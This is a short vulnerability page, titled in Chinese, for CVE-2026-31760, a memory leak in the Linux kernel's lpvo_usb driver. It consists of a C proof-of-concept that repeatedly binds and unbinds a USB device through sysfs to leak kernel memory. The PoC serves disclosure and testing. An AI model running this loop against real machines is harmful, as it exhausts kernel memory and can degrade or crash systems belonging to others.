CVE-2026-31760: Linux内核lpvo_usb驱动内存泄漏漏洞

/* * PoC for CVE-2026-31760: Memory Leak in lpvo_usb * This PoC simulates the trigger condition by repeatedly * binding and unbinding a USB device to the vulnerable driver. * Compile with: gcc -o poc_leak poc_leak.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #define DRIVER_PATH "/sys/bus/usb/drivers/lpvo_usb" #define DEVICE_ID "1-1:1.0" // Replace with actual target device ID void write_sysfs(const char *path, const char *val) { int fd = open(path, O_WRONLY); if (fd < 0) { perror("Failed to open sysfs"); return; } write(fd, val, strlen(val)); close(fd); } int main() { char unbind_path[256]; char bind_path[256]; snprintf(unbind_path, sizeof(unbind_path), "%s/unbind", DRIVER_PATH); snprintf(bind_path, sizeof(bind_path), "%s/bind", DRIVER_PATH); printf("[+] Starting PoC for CVE-2026-31760..."); printf("[+] Repeatedly triggering bind/unbind to leak memory..."); for (int i = 0; i < 10000; i++) { // Trigger attach (bind) write_sysfs(bind_path, DEVICE_ID); // Trigger disconnect (unbind) write_sysfs(unbind_path, DEVICE_ID); if (i % 100 == 0) { printf("[+] Iteration %d completed. Check kernel memory usage.", i); } usleep(10000); // Small delay to allow processing } printf("[+] PoC execution finished."); return 0; }